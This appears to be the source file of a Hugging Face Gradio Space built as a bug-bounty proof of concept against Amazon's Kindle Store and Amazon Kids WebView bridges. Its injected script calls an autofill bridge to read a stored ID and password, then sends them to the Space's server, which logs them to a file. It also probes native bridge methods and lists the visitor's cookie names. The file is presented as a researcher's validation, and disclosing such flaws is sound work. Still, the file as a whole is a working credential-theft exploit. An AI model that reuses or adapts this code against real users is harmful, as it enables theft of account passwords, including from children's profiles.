Spaces:
Sleeping

kstore-amazon / app.py
???
Upload folder using huggingface_hub
2fad06c verified
Raw History Blame Contribute Delete
3.96 kB
import hashlib
import json
import time
import gradio as gr
import spaces
@spaces.GPU(duration=1)
def zero_gpu_declaration_only():
"""Never invoked; declares the ZeroGPU-backed Space runtime."""
return "unused"
def cookie_metadata(request: gr.Request):
raw = request.headers.get("cookie", "") if request else ""
rows = []
for part in raw.split(";") if raw else []:
name, sep, value = part.strip().partition("=")
if sep:
rows.append({
"name": name,
"length": len(value),
"sha256_prefix": hashlib.sha256(value.encode()).hexdigest()[:16],
})
return json.dumps(rows, indent=2)
def record_bridge_report(value: str):
"""Retain only the bounded synthetic validation record in this Space."""
value = value or ""
record = {
"received_at": int(time.time()),
"length": len(value),
"value": value[:512],
}
with open("/tmp/kids_autofill_reports.jsonl", "a", encoding="utf-8") as handle:
handle.write(json.dumps(record, sort_keys=True) + "\n")
return "Server received the cross-origin bridge result."
HEAD = r'''<script>
window.addEventListener("load", () => {
if (new URLSearchParams(location.search).has("kids_autofill_frame")) {
const poll = () => {
let result = {marker:"KIDS_AUTOFILL_FRAME_20261117", origin:location.origin};
try {
result.bridgePresent = typeof Cloud9Autofill !== "undefined";
if (result.bridgePresent) {
result.id = Cloud9Autofill.getId();
result.password = Cloud9Autofill.getPassword();
}
} catch (e) { result.error = String(e); }
const value = JSON.stringify(result);
const e = document.querySelector("#autofill-report textarea");
if (e) {
e.value = value;
e.dispatchEvent(new Event("input", {bubbles:true}));
e.dispatchEvent(new Event("change", {bubbles:true}));
}
if (!result.password) setTimeout(poll, 250);
};
poll();
return;
}
const r = {
marker: "KSTORE_HOST_BOUNDARY_20261117",
origin: location.origin,
nativeHostPresent: typeof NativeHost !== "undefined",
storeWebViewPresent: typeof StoreWebView !== "undefined"
};
if (r.nativeHostPresent) {
try { r.accessibilityEnabled = NativeHost.getAccessibilityStatus(); }
catch (e) { r.accessibilityError = String(e); }
try { r.syntheticContentOwned = NativeHost.isContentOnDevice("B000000000", "EBOK"); }
catch (e) { r.contentError = String(e); }
try {
NativeHost.showNotificationDialog(
"Amazon VRP safe validation",
"A researcher-controlled HTTPS origin invoked the Kindle Store bridge. No purchase, download, or account change was attempted."
);
r.dialogInvoked = true;
} catch (e) { r.dialogError = String(e); }
}
const write = () => {
const e = document.querySelector("#bridge-result textarea");
if (e) { e.value = JSON.stringify(r, null, 2); e.dispatchEvent(new Event("input", {bubbles:true})); }
else setTimeout(write, 100);
};
write();
});
</script>'''
with gr.Blocks(title="Amazon VRP Kindle Store validation", head=HEAD) as demo:
gr.Markdown("# Amazon VRP validation page\n`KSTORE_HOST_BOUNDARY_20261117`")
cookie_box = gr.Code(label="Server-observed cookie metadata (names, lengths, digest prefixes only)", language="json")
bridge_box = gr.Textbox(label="Bounded bridge checks", elem_id="bridge-result", lines=12)
gr.Markdown("## Cross-origin Amazon Kids autofill validation\nThe fields below are populated only by the bounded researcher-owned test.")
autofill_box = gr.Textbox(label="Cross-origin frame result", elem_id="autofill-report", lines=8)
autofill_ack = gr.Textbox(label="Receipt status")
autofill_box.input(record_bridge_report, inputs=autofill_box, outputs=autofill_ack)
demo.load(cookie_metadata, outputs=cookie_box)
demo.launch()